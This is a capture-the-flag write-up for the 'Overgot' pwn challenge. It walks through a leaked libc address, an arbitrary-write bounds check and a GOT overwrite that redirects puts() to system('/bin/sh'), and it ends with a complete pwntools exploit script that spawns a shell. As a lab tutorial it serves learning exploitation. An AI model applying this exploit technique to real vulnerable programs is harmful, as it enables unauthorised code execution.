VERE - Pwn-3 - Overgot

Published at Apr 5, 2025

#ctf#pwn
Challenge Description

This one’s laid out a little differently. In order to force you to perform a GOT overwrite and not get a shell a different way, I had to change things up.


Overview

This challenge requires performing a GOT (Global Offset Table) overwrite attack. The binary allows us to write data to an arbitrary memory address with certain constraints, which we can leverage to redirect code execution and gain a shell.

Binary Analysis

When I run the binary, I can see that it prints an address, then prompts me for a name and a starting address. No matter what I gave for the latter, it would result with an ‘Invalid address’.

./overgot
0x7ffaadbcc0a0
Name: VERE
Starting address (0x...): 12345678
Invalid address

Let’s break into Ghidra to see what is happening under the hood:

undefined8 main(void)

{
  long in_FS_OFFSET;
  uint local_34;
  undefined **local_30;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("%p\n",rand);
  printf("Name: ");
  __isoc99_scanf(&DAT_0040200f,local_28);
  printf("Starting address (0x...): ");
  __isoc99_scanf(&DAT_0040202f,&local_30);
  if ((local_30 < &PTR_puts_00404000) || (__libc_start_main < local_30)) {
    puts("Invalid address");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Number of bytes: ");
  __isoc99_scanf(&DAT_00402054,&local_34);
  if (0x10 < local_34) {
    puts("Too many bytes");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Bytes: ");
  read(0,local_30,(ulong)local_34);
  printf("Thank you for coming ");
  puts(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Looking through this code can see that it:

  1. Leaks an address at startup
  2. Asks for a name
  3. Prompts for a starting address (in hex)
  4. Checks if the address is within certain bounds
  5. Asks for the number of bytes to write (limited to 16)
  6. Writes our input to the specified address
  7. Prints “Thank you for coming” followed by our name

Let’s analyze the disassembly to understand the vulnerability:

00401215 48 89 c6        MOV        RSI=><EXTERNAL>::rand,RAX
...
00401227 e8 34 fe        CALL       <EXTERNAL>::printf

At the beginning, the program leaks the address of rand() from libc. This will allow us to calculate the libc base address.

The key vulnerability is at:

00401330 e8 3b fd        CALL       <EXTERNAL>::read

The program allows us to write arbitrary bytes to any memory location that passes the bounds check. This means we can overwrite GOT entries to redirect function calls.

GOT Overwrite

This is the process I took to overwrite the GOT and get a shell:

  1. Calculate the libc base address using the leaked address
  2. Find a function in the GOT table to overwrite
  3. Redirect that function to system()
  4. Make the program call the overwritten function with “/bin/sh” as an argument

We already have the address of rand() from libc, the program leaks the address when we run it. So in order to calculate the base address of libc, we subtract the offset of rand() from that value. This will end up looking like this in the final exploit:

libc_base = leaked_addr - RAND_OFFSET

However, in order to do that, we need to find that offset. Looking at the end of the program:

00401349 48 8d 45 e0     LEA        RAX=>local_28,[RBP + -0x20]
00401350 48 89 c7        MOV        RDI,RAX
00401355 e8 db fc        CALL       <EXTERNAL>::puts

We see that the program calls puts() with our name as the argument. This makes puts() an ideal target for our GOT overwrite. If we overwrite puts() with system(), then when the program calls puts("/bin/sh") to print our name, it will execute system("/bin/sh") instead, giving us a shell.

I wrote the following helper script to print the addresses for rand(), system(), and puts() using the ELF.symbols (I use the .sym alias), which is a pwntools function that maps a name of a function to an address for all symbols in an ELF:

from pwn import *

libc = ELF('./libc.so.6')

rand_offset = libc.sym['rand']
system_offset = libc.sym['system']
puts_offset = libc.sym['puts']

print(f"rand offset: {hex(rand_offset)}")
print(f"system offset: {hex(system_offset)}")
print(f"puts offset: {hex(puts_offset)}")

print(f"Offset from rand to system: {hex(system_offset - rand_offset)}")

Running this script produces the following results:

rand offset: 0x4a090
system offset: 0x58740
puts offset: 0x87bd0
Offset from rand to system: 0xe6b0

Here we have our offset from rand() to system(), and we have everything we need in order to find the address for system() as well (through which we will send /bin/sh to be passed through):

system_addr = libc_base + SYSTEM_OFFSET

Now whats left to do is overwrite puts@GOT with system(). We can find the address for puts@GOT with the following command:

objdump -R ./overgot | grep puts

Which gives:

0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5

Returning to the binary scanf constraints, it asks for several inputs that we can now provide:

  1. Our name should be /bin/sh. Sheesh, parents will name their kids anything these days…
  2. Our “Target address” for the GOT entry for puts is 0x404000
  3. The “Number of bytes” is 8 because we’ll be sending a 64-bit address.
  4. The “Bytes” is the address of system()

With the way we’ve set up our exploit, once the program calls puts("/bin/sh") to print our name to the terminal, it will execute system("/bin/sh") instead, giving us a shell. A few keystrokes later we have the flag:

Flag
vere{another_cool_trick_up_your_sleeve_b3470cd6aab5}

Exploit Script

from pwn import *

# initialize the binary and set the context (architecture, etc.)
binary = "./overgot" # ensure it is executable (chmod +x)
elf = context.binary = ELF(binary, checksec=False)
libc = ELF("./libc.so.6", checksec=False)

gs = """
b main
continue
"""

# run with python3 exploit.py REMOTE
if args.REMOTE:
    p = remote('172.16.16.7', 33118)

# run with python3 exploit.py GDB
elif args.GDB:
    context.terminal = ["tmux", "splitw", "-h"]

    p = gdb.debug(binary, gdbscript=gs)
    
# run with python3 exploit.py VERT
elif args.VERT:
    context.terminal = ["tmux", "splitw", "-v"]

    p = gdb.debug(binary, gdbscript=gs)

# run with python3 exploit.py
else:
    p = elf.process()


### EXPLOIT LOGIC ###
RAND_OFFSET = 0x4a090 # offsets.py
SYSTEM_OFFSET = 0x58740 # offsets.py

leak = p.recvuntil(b'Name: ').decode()
log.info(f"Raw leak: {leak}")

hex_part = leak.split()[0].strip()
if hex_part.startswith('0x'):
    leaked_addr = int(hex_part, 16)
else:
    leaked_addr = int('0x' + hex_part, 16)

log.success(f"Leaked rand() address: {hex(leaked_addr)}")

libc_base = leaked_addr - RAND_OFFSET
system_addr = libc_base + SYSTEM_OFFSET

log.info(f"Libc base: {hex(libc_base)}")
log.info(f"System address: {hex(system_addr)}")

p.sendline(b"/bin/sh")

puts_got = 0x404000 # objdump -R ./overgot | grep puts
log.info(f"Puts GOT address: {hex(puts_got)}")

p.recvuntil(b"Starting address (0x...): ")
p.sendline(hex(puts_got)[2:].encode())

p.recvuntil(b"Number of bytes: ")
p.sendline(b"8")

p.recvuntil(b"Bytes: ")
p.send(p64(system_addr))

log.info("GOT overwrite complete - waiting for shell...")
p.interactive()

Zac Conlin © 2025